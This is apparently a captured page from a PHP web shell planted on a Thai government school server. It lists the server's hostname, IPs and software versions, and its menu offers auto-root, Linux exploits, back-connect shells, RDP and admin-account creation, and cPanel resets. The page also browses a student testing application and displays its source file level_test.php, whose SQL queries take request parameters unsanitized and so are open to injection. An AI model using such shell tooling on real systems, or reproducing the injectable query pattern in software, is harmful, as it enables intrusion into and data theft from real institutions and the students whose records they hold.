Linux ns8.secondary29.go.th 2.6.32-754.28.1.el6.x86_64 #1 SMP Wed Mar 11 18:38:45 UTC 2020 x86_64
Apache/2.2.15 (CentOS)
: 122.154.134.11 | : 122.154.134.9
Cant Read [ /etc/named.conf ]
5.6.40
apache
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
html /
amss_test /
modules /
bets /
main /
[ HOME SHELL ]
Name
Size
Permission
Action
add_score.php
1.58
KB
-rw-r--r--
add_test.php
9.11
KB
-rw-r--r--
curriculum.php
7.97
KB
-rw-r--r--
curriculum_view.php
25.22
KB
-rw-r--r--
examination_set.php
320
B
-rw-r--r--
export_to_excel.php
4.24
KB
-rw-r--r--
frm_add_test.php
1.77
KB
-rw-r--r--
indicator.php
37.07
KB
-rw-r--r--
item_display.php
6.68
KB
-rw-r--r--
khet_paper_report_1.php
61.73
KB
-rw-r--r--
khet_paper_report_2.php
65.56
KB
-rw-r--r--
khet_report_1.php
27.49
KB
-rw-r--r--
khet_report_1_mobile.php
8.38
KB
-rw-r--r--
khet_report_2.php
68.18
KB
-rw-r--r--
level_log.php
1.6
KB
-rw-r--r--
level_record.php
17.37
KB
-rw-r--r--
level_report_1.php
38.07
KB
-rw-r--r--
level_report_2.php
35.32
KB
-rw-r--r--
level_report_3.php
22.22
KB
-rw-r--r--
level_report_4.php
16.65
KB
-rw-r--r--
level_test.php
22.99
KB
-rw-r--r--
livesearch.php
721
B
-rw-r--r--
livesearch2.php
729
B
-rw-r--r--
livesearch3.php
756
B
-rw-r--r--
livesearch4.php
727
B
-rw-r--r--
livesearch5.php
1.16
KB
-rw-r--r--
livesearch6.php
1.41
KB
-rw-r--r--
master_test_report.php
16.2
KB
-rw-r--r--
permission.php
11.69
KB
-rw-r--r--
print_check.php
3.52
KB
-rw-r--r--
return_ajax_indicator.php
1.64
KB
-rw-r--r--
return_ajax_standard.php
805
B
-rw-r--r--
return_ajax_substance.php
1.36
KB
-rw-r--r--
sch_paper_report_1.php
62.36
KB
-rw-r--r--
sch_report_1.php
65.87
KB
-rw-r--r--
sch_report_1_mobile.php
10.62
KB
-rw-r--r--
school_limit.php
13.09
KB
-rw-r--r--
standard.php
19.24
KB
-rw-r--r--
student_paper_report_1.php
17.6
KB
-rw-r--r--
student_report_1.php
25.54
KB
-rw-r--r--
student_report_1_mobile.php
5.51
KB
-rw-r--r--
substance.php
16.58
KB
-rw-r--r--
test_admin.php
46.87
KB
-rw-r--r--
test_admin2.php
6.86
KB
-rw-r--r--
test_admin3.php
11.27
KB
-rw-r--r--
test_admin_book.php
75.57
KB
-rw-r--r--
test_admin_book2.php
19.74
KB
-rw-r--r--
test_import.php
7.86
KB
-rw-r--r--
test_item.php
93.56
KB
-rw-r--r--
test_master.php
46.2
KB
-rw-r--r--
test_qc.php
15.46
KB
-rw-r--r--
test_qc_person.php
8.05
KB
-rw-r--r--
test_sch.php
6.1
KB
-rw-r--r--
test_sch_2.php
26.76
KB
-rw-r--r--
test_student.php
34.71
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : level_test.php
<?php /** ensure this file is being included by a parent file */ defined( '_VALID_' ) or die( 'Direct Access to this location is not allowed.' ); $officer=$_SESSION['login_user_id']; echo "<br />"; //ส่วนเพิ่มข้อมูล if($index==1){ echo "<form id='frm1' name='frm1'>"; echo "<Center>"; echo "<Font color='#006666' Size=3><B>เพิ่มรายการแบบทดสอบ 18 Level</B></Font>"; echo "</Cener>"; echo "<Br><Br>"; echo "<Table width='100%' Border='0' align='center'>"; echo "<Tr align='left'><Td align='right' width='50%'>แบบทดสอบ </Td><Td>"; $sql = "select * from bets_test where level_active='0' order by bets_test.id desc"; $dbquery_test = mysqli_query($connect,$sql); echo "<Select name='test' size='1'>"; echo "<option value = ''>เลือก</option>" ; While ($result_test = mysqli_fetch_array($dbquery_test)){ $class_name=""; if($result_test['class_room']==4){ $class_name= "ป.1"; } else if($result_test['class_room']==5){ $class_name= "ป.2"; } else if($result_test['class_room']==6){ $class_name= "ป.3"; } else if($result_test['class_room']==7){ $class_name= "ป.4"; } else if($result_test['class_room']==8){ $class_name= "ป.5"; } else if($result_test['class_room']==9){ $class_name= "ป.6"; } else if($result_test['class_room']==10){ $class_name= "ม.1"; } else if($result_test['class_room']==11){ $class_name= "ม.2"; } else if($result_test['class_room']==12){ $class_name= "ม.3"; } echo "<option value ='$result_test[id]'>$result_test[id] $result_test[test_name] ($class_name)</option>" ; } echo "</select>"; echo "</Td></Tr>"; echo "<Tr align='left'><Td align='right'>เป็นแบบทดสอบภาษาอังกฤษเพื่อการสื่อสารหรือไม่ </Td><Td><input type=radio name='other_subject' value='1'>ใช่ <input type=radio name='other_subject' value='0' checked>ไม่ใช่</Td></Tr>"; echo "<Tr align='left'><Td align='right'>ระดับ (Level) </Td><Td>"; echo "<Select name='level' id='level' size='1'>"; echo "<option value = ''>เลือก</option>" ; echo "<option value ='1'>ระดับ1 ชั้นป.1 ภาคเรียนที่ 1</option>" ; echo "<option value ='2'>ระดับ 2 ชั้นป.1 ภาคเรียนที่ 2</option>" ; echo "<option value ='3'>ระดับ 3 ชั้นป.2 ภาคเรียนที่ 1</option>" ; echo "<option value ='4'>ระดับ 4 ชั้นป.2 ภาคเรียนที่ 2</option>" ; echo "<option value ='5'>ระดับ 5 ชั้นป.3 ภาคเรียนที่ 1</option>" ; echo "<option value ='6'>ระดับ 6 ชั้นป.3 ภาคเรียนที่ 2</option>" ; echo "<option value ='7'>ระดับ 7 ชั้นป.4 ภาคเรียนที่ 1</option>" ; echo "<option value ='8'>ระดับ 8 ชั้นป.4 ภาคเรียนที่ 2</option>" ; echo "<option value ='9'>ระดับ 9 ชั้นป.5 ภาคเรียนที่ 1</option>" ; echo "<option value ='10'>ระดับ 10 ชั้นป.5 ภาคเรียนที่ 2</option>" ; echo "<option value ='11'>ระดับ 11 ชั้นป.6 ภาคเรียนที่ 1</option>" ; echo "<option value ='12'>ระดับ 12 ชั้นป.6 ภาคเรียนที่ 2</option>" ; echo "<option value ='13'>ระดับ 13 ชั้นม.1 ภาคเรียนที่ 1</option>" ; echo "<option value ='14'>ระดับ 14 ชั้นม.1 ภาคเรียนที่ 2</option>" ; echo "<option value ='15'>ระดับ 15 ชั้นม.2 ภาคเรียนที่ 1</option>" ; echo "<option value ='16'>ระดับ 16 ชั้นม.2 ภาคเรียนที่ 2</option>" ; echo "<option value ='17'>ระดับ 17 ชั้นม.3 ภาคเรียนที่ 1</option>" ; echo "<option value ='18'>ระดับ 18 ชั้นม.3 ภาคเรียนที่ 2</option>" ; echo "</select>"; echo "</Td></Tr>"; echo "</Table>"; echo "<br>"; echo "<Table width='100%' Border='0' align='center'>"; echo "<Tr align='left'><Td align='right' width='50%'><INPUT TYPE='button' name='smb' value='ตกลง' onclick='goto_url(1)'> </Td><Td align='left'><INPUT TYPE='button' name='back' value='ย้อนกลับ' onclick='goto_url(0)'></Td></Tr>"; echo "</Table>"; echo "</form>"; } //ส่วนยืนยันการลบข้อมูล if($index==2) { echo "<table width='500' border='0' align='center'>"; echo "<tr><td align='center'><font color='#990000' size='4'>โปรดยืนยันความต้องการลบข้อมูลอีกครั้ง</font><br></td></tr>"; echo "<tr><td align=center>"; echo "<INPUT TYPE='button' name='smb' value='ยืนยัน' onclick='location.href=\"?option=bets&task=main/level_test&index=3&id=$_GET[id]&page=$_REQUEST[page]\"'> <INPUT TYPE='button' name='back' value='ยกเลิก' onclick='location.href=\"?option=bets&task=main/level_test&page=$_REQUEST[page]\"'"; echo "</td></tr></table>"; } //ส่วนลบข้อมูล if($index==3){ $sql = "update bets_test set level='0',other_subject='0',level_active='0' where id='$_GET[id]'"; $dbquery = mysqli_query($connect,$sql); $index=""; } //ส่วนปรับปรุงข้อมูล if ($index==6){ $sql = "select * from bets_test where id='$_POST[test]' "; $dbquery_test = mysqli_query($connect,$sql); $result_test = mysqli_fetch_array($dbquery_test); $level_chk=1; if($result_test['class_room']==4){ if(!($_POST['level']==1 or $_POST['level']==2)){ $level_chk=0; } } else if($result_test['class_room']==5){ if(!($_POST['level']==3 or $_POST['level']==4)){ $level_chk=0; } } else if($result_test['class_room']==6){ if(!($_POST['level']==5 or $_POST['level']==6)){ $level_chk=0; } } else if($result_test['class_room']==7){ if(!($_POST['level']==7 or $_POST['level']==8)){ $level_chk=0; } } else if($result_test['class_room']==8){ if(!($_POST['level']==9 or $_POST['level']==10)){ $level_chk=0; } } else if($result_test['class_room']==9){ if(!($_POST['level']==11 or $_POST['level']==12)){ $level_chk=0; } } else if($result_test['class_room']==10){ if(!($_POST['level']==13 or $_POST['level']==14)){ $level_chk=0; } } else if($result_test['class_room']==11){ if(!($_POST['level']==15 or $_POST['level']==16)){ $level_chk=0; } } else if($result_test['class_room']==12){ if(!($_POST['level']==17 or $_POST['level']==18)){ $level_chk=0; } } if($level_chk==0){ echo "<br><br>"; echo "<div align='center'>กำหนดระดับไม่ถูกต้อง ตรวจสอบอีกครั้ง</div>"; } else{ $sql = "update bets_test set level='$_POST[level]',other_subject='$_POST[other_subject]',level_active='1' where id='$_POST[test]'"; $dbquery = mysqli_query($connect,$sql); } $index="";; } //บันทึก Profile if($index==7){ // เชื่อมdatabase ชื่อ amssplus_bets ///////// $user_db=$user; if(isset($amssplus_bets)){ $amssplus_bets=$amssplus_bets; } else{ $amssplus_bets="amssplus_bets"; } $connect_bets=@mysqli_connect($hostname,$user_db,$password,$amssplus_bets); if($connect_bets){ mysqli_query($connect_bets,"SET NAMES utf8"); } ///////// //end //ปีการศึกษา $sql = "select * from student_main_edyear where year_active='1' order by ed_year desc limit 1"; $dbquery = mysqli_query($connect,$sql); $year_active_result = mysqli_fetch_array($dbquery); if($year_active_result['ed_year']!=""){ $ed_year=$year_active_result['ed_year']; } else{ $ed_year=""; } // หากลุ่มสาระ $sql = "select * from bets_test left join bets_group on bets_test.s_group=bets_group.group_code where bets_test.id='$_GET[id]' "; $dbquery = mysqli_query($connect,$sql); $result = mysqli_fetch_array($dbquery); //กำหนดtable ของ bets2 $table_main=""; $table_expand=""; if($connect_bets){ $curriculum=substr($result['s_group'],0,4); if($curriculum=='2551'){ if($result['s_group']=='255101'){ $table_main='thai'; } else if($result['s_group']=='255102'){ $table_main='math'; } else if($result['s_group']=='255103'){ $table_main='science'; } else if($result['s_group']=='255104'){ $table_main='social'; } else if($result['s_group']=='255108'){ if($result['other_subject']==1){ $table_main='english2'; } else{ $table_main='english'; } } $table_expand=$table_main."_expand_".$result['level']; } else if($curriculum=='2560'){ if($result['s_group']=='256001'){ $table_main='math'; } else if($result['s_group']=='256002'){ $table_main='science'; } else if($result['s_group']=='256003'){ $table_main='social'; } $table_expand=$table_main."_expand_".$result['level']; } } //จำนวนนักเรียนทั้งหมดที่สอบในฉบับนี้ $sql_student = "select distinct person_id from bets_answer where test_id='$_GET[id]'"; $dbquery_student = mysqli_query($connect,$sql_student); $student_total=mysqli_num_rows($dbquery_student); //หาโรงเรียน $sql_school = "select distinct school from bets_answer where test_id='$_GET[id]' "; $dbquery_school = mysqli_query($connect,$sql_school); $school_num=0; $student_num=0; while($result_school = mysqli_fetch_array($dbquery_school)){ $school=$result_school['school']; //ผู้สอบ*** $sql_student = "select distinct person_id from bets_answer where test_id='$_GET[id]' and school='$school'"; $dbquery_student = mysqli_query($connect,$sql_student); while($result_student = mysqli_fetch_array($dbquery_student)){ $person_id=$result_student['person_id']; // หาคะแนนเต็ม $sql_full_score = "select sum(item_score) as full_score from bets_answer where test_id='$_GET[id]' and school='$school' and person_id='$person_id' "; $dbquery_full_score = mysqli_query($connect,$sql_full_score); $result_full_score = mysqli_fetch_array($dbquery_full_score); $full_score=$result_full_score['full_score']; //หาคะแนนที่ได้ $sql_right = "select sum(score) as score from bets_answer where test_id='$_GET[id]' and school='$school' and person_id='$person_id' "; $dbquery_right = mysqli_query($connect,$sql_right ); $result_score = mysqli_fetch_array($dbquery_right); $total_right=$result_score['score']; $total_percent=""; if($full_score!=0){ $total_percent=($total_right/$full_score)*100; $total_percent=number_format($total_percent,2); //บันทึก Profile คะแนนรวม Level if($connect_bets){ $rec_date = date("Y-m-d"); if(@$result['level_active']==1 and $result['level']!=0){ $sql_level = "select * from $table_main where person_id='$person_id' and level='$result[level]' "; $dbquery_level = mysqli_query($connect_bets,$sql_level); $result_level = mysqli_fetch_array($dbquery_level); if($result_level){ $time_no=$result_level['time_no']+1; $sql_update = "update $table_main set school_code='$school',ed_year='$ed_year',score='$total_percent',time_no='$time_no',rec_date='$rec_date',group_code='$result[group_code]' where person_id='$person_id' and level='$result[level]'"; $dbquery_update = mysqli_query($connect_bets,$sql_update); } else{ $sql_insert_1 = "insert into $table_main(ed_year,school_code,person_id,group_code,level,score,time_no,rec_date) values ('$ed_year','$school','$person_id','$result[group_code]','$result[level]','$total_percent','1','$rec_date')"; $dbquery_insert = mysqli_query($connect_bets,$sql_insert_1); } //ลบข้อมูลคะแนนรายตัวชี้วัด if($result_level['time_no']>0){ $sql_del = "delete from $table_expand where person_id='$person_id' and level='$result[level]'"; $dbquery_del = mysqli_query($connect_bets,$sql_del); } } } //End Profile } $sql_2 = "select * from bets_substance where group_code='$result[group_code]' order by id "; $dbquery_2 = mysqli_query($connect,$sql_2); while($result_2 = mysqli_fetch_array($dbquery_2)){ $sql_3 = "select * from bets_standard where substance_code='$result_2[substance_code]' order by id "; $dbquery_3 = mysqli_query($connect,$sql_3); while($result_3 = mysqli_fetch_array($dbquery_3)){ $class_room=$result['class_room']-3; //แปลงรหัสห้อง $sql_4 = "select * from bets_indicator where standard_code='$result_3[standard_code]' and class_code='$class_room' order by id "; $dbquery_4 = mysqli_query($connect,$sql_4); $M=1; while($result_4 = mysqli_fetch_array($dbquery_4)){ //หาคะแนนตัวชี้วัด $indicator_percent=""; $sql_4_1 = "select sum(item_score) as full_score from bets_answer,bets_item,bets_indicator where bets_answer.item_id=bets_item.id and bets_item.indicator_code=bets_indicator.indicator_code and bets_answer.test_id='$_GET[id]' and bets_answer.school='$school' and bets_indicator.indicator_code='$result_4[indicator_code]' and person_id='$person_id' "; $dbquery_4_1 = mysqli_query($connect,$sql_4_1); $result_4_1 = mysqli_fetch_array($dbquery_4_1); $indicator_total=$result_4_1['full_score']; $sql_4_2 = "select sum(score) as score from bets_answer,bets_item,bets_indicator where bets_answer.item_id=bets_item.id and bets_item.indicator_code=bets_indicator.indicator_code and bets_answer.test_id='$_GET[id]' and bets_answer.school='$school' and bets_indicator.indicator_code='$result_4[indicator_code]' and person_id='$person_id' "; $dbquery_4_2 = mysqli_query($connect,$sql_4_2); $result_4_2 = mysqli_fetch_array($dbquery_4_2); $indicator_right=$result_4_2['score']; if($indicator_total!=0){ $indicator_percent=($indicator_right/$indicator_total)*100; $indicator_percent=number_format($indicator_percent,2); //บันทึกProfile คะแนนตัวชี้วัด if($connect_bets){ $rec_date = date("Y-m-d"); if(@$result['level_active']==1 and $result['level']!=0){ $sql_insert_2 = "insert into $table_expand(person_id,indicator,level,score,rec_date) values ('$person_id','$result_4[indicator_code]','$result[level]','$indicator_percent','$rec_date')"; $dbquery_insert_2 = mysqli_query($connect_bets,$sql_insert_2); } } //End Profile } // $M++; } } } $student_num++; } // end while student $school_num++; } // end while school ////////////////////////// if($connect_bets){ mysqli_close($connect_bets); } echo "<script>alert('บันทึกผลสอบใน Profile แล้ว $school_num โรงเรียน นักเรียน $student_num คน จากทั้งหมด $student_total คน');</script>\n"; } //end if index==7 //ส่วนการแสดงผล if(!(($index==1) or ($index==2) or ($index==2.2) or ($index==3) or ($index==4) or ($index==6))){ echo "<table width='50%' border='0' align='center'>"; echo "<tr align='center'><td><font color='#006666' size='3'><strong>แบบทดสอบมาตรฐาน 18 Level</strong></font></td></tr>"; echo "</table>"; $sql_page ="select *,bets_test.id, bets_test.test_name,bets_test.class_room,bets_test.test_active, bets_master_test.master_name from bets_test,bets_master_test,bets_group where bets_test.master_test=bets_master_test.id and bets_test.s_group=bets_group.group_code and level_active='1' "; $dbquery_page = mysqli_query($connect,$sql_page); $num_rows=mysqli_num_rows($dbquery_page); $pagelen=20; // กำหนดแถวต่อหน้า $url_link="option=bets&task=main/level_test"; $totalpages=ceil($num_rows/$pagelen); if(!(isset($_REQUEST['page']))){ $_REQUEST['page']=""; } if($_REQUEST['page']==""){ $page=$totalpages; if($page<2){ $page=1; } } else{ if($totalpages<$_REQUEST['page']){ $page=$totalpages; if($page<1){ $page=1; } } else{ $page=$_REQUEST['page']; } } $start=($page-1)*$pagelen; if(($totalpages>1) and ($totalpages<16)){ echo "<div align=center>"; echo "หน้า "; for($i=1; $i<=$totalpages; $i++) { if($i==$page){ echo "[<b><font size=+1 color=#990000>$i</font></b>]"; } else { echo "<a href=$PHP_SELF?$url_link&page=$i>[$i]</a>"; } } echo "</div>"; } if($totalpages>15){ if($page <=8){ $e_page=15; $s_page=1; } if($page>8){ if($totalpages-$page>=7){ $e_page=$page+7; $s_page=$page-7; } else{ $e_page=$totalpages; $s_page=$totalpages-15; } } echo "<div align=center>"; if($page!=1){ $f_page1=$page-1; echo "<<a href=$PHP_SELF?$url_link&page=1>หน้าแรก </a>"; echo "<<<a href=$PHP_SELF?$url_link&page=$f_page1>หน้าก่อน </a>"; } else { echo "หน้า "; } for($i=$s_page; $i<=$e_page; $i++){ if($i==$page){ echo "[<b><font size=+1 color=#990000>$i</font></b>]"; } else { echo "<a href=$PHP_SELF?$url_link&page=$i>[$i]</a>"; } } if($page<$totalpages) { $f_page2=$page+1; echo "<a href=$PHP_SELF?$url_link&page=$f_page2> หน้าถัดไป</a>>>"; echo "<a href=$PHP_SELF?$url_link&page=$totalpages> หน้าสุดท้าย</a>>"; } echo " <select onchange=\"location.href=this.options[this.selectedIndex].value;\" size=\"1\" name=\"select\">"; echo "<option value=\"\">หน้า</option>"; for($p=1;$p<=$totalpages;$p++){ echo "<option value=\"?$url_link&page=$p\">$p</option>"; } echo "</select>"; echo "</div>"; } //จบแยกหน้า echo "<form id='frm1' name='frm1'>"; echo "<table width='90%' align='center'><tr><Td align='left'><INPUT TYPE='button' name='smb' value='เพิ่มรายการสอบ' onclick='location.href=\"?option=bets&task=main/level_test&index=1\"'></Td><td align='right'>"; echo "</td></tr></table>"; $sql = "select *,bets_test.id, bets_test.test_name,bets_test.class_room,bets_test.test_active,bets_test.officer,bets_test.level,bets_test.other_subject from bets_test,bets_master_test,bets_group where bets_test.master_test=bets_master_test.id and bets_test.s_group=bets_group.group_code and level_active='1' order by bets_test.id limit $start,$pagelen"; $dbquery = mysqli_query($connect,$sql); echo "<table width='90%' border='1' borderColor='#999999' align='center' style='border-collapse: collapse'>"; echo "<Tr bgcolor='#FFCCCC' align='center'><Td width='60'>ลำดับที่</Td><Td width='80'>รหัส</Td><Td>ชื่อการสอบ</Td><Td>กลุ่มสาระ</Td><Td width='70'>ชั้น</Td><Td width='70'>Level</Td><Td width='70'>จำนวนข้อ</Td><Td width='70'>คะแนนเต็ม</Td><Td width='70'>เวลาสอบ<br>นาที</Td><Td width='70'>เกณฑ์</Td><Td width='50'>ลบ</Td><Td width='70'>บันทึกผล<br>(Profile)</Td></Tr>"; $N=(($page-1)*$pagelen)+1; //*เกี่ยวข้องกับการแยกหน้า $M=1; While ($result = mysqli_fetch_array($dbquery)) { $id = $result['id']; $test_name= $result['test_name']; $other_subject=$result['other_subject']; if($other_subject==1){ $subject="(English เพื่อการสื่อสาร)"; } else{ $subject=""; } if(($M%2) == 0) $color="#FFFFC"; else $color="#FFFFFF"; echo "<Tr bgcolor=$color align='center'><Td>$N</Td><Td>$id</Td><Td align='left'>$test_name $subject</Td><Td align='left'>$result[group_name]</Td>"; echo "<td>"; if($result['class_room']==4){ echo "ป.1"; } else if($result['class_room']==5){ echo "ป.2"; } else if($result['class_room']==6){ echo "ป.3"; } else if($result['class_room']==7){ echo "ป.4"; } else if($result['class_room']==8){ echo "ป.5"; } else if($result['class_room']==9){ echo "ป.6"; } else if($result['class_room']==10){ echo "ม.1"; } else if($result['class_room']==11){ echo "ม.2"; } else if($result['class_room']==12){ echo "ม.3"; } else if($result['class_room']==13){ echo "ม.4"; } else if($result['class_room']==14){ echo "ม.5"; } else if($result['class_room']==15){ echo "ม.6"; } echo "</td>"; echo "<Td align='center'>$result[level]</Td>"; echo "<td align='center'>$result[item_num]</td><td align='center'>$result[test_score]</td><td align='center'>$result[test_time]</td><td align='center'>$result[g1]/$result[g2]</td>"; echo "<Td><a href=?option=bets&task=main/level_test&index=2&id=$id&page=$page><img src=images/drop.png border='0'></a></div></Td>"; echo "<td align='center'><a href=?option=bets&task=main/level_test&index=7&id=$id&page=$page><img src=images/save.png border='0' width='20'></a></td>"; echo "</Tr>"; $M++; $N++; } echo "</Table>"; echo "</form>"; } echo "<br><br>"; echo " <b>คำอธิบาย</b> 1. แบบทดสอบที่กำหนดในรายการนี้ จะบันทึกผลสอบใน Profile ของนักเรียนตาม Level อัตโนมัติเมื่อนักเรียนจบการสอบ "; echo "<br>"; echo " 2. หรือบันทึกผลโดยการคลิกการบันทึกผลในแต่ละรายการ"; ?> <script> function goto_url_update(val){ if(val==0){ callfrm("?option=bets&task=main/level_test&index=7"); }else if(val==1){ callfrm("?option=bets&task=main/level_test&index=6"); } } function goto_url(val){ if(val==0){ callfrm("?option=bets&task=main/level_test"); }else if(val==1){ if(frm1.test.value == ""){ alert("กรุณากรอกชื่อรายการสอบ"); }else if(frm1.level.value == ""){ alert("กรุณาเลือกระดับ"); }else{ callfrm("?option=bets&task=main/level_test&index=6"); } } } </script>
Close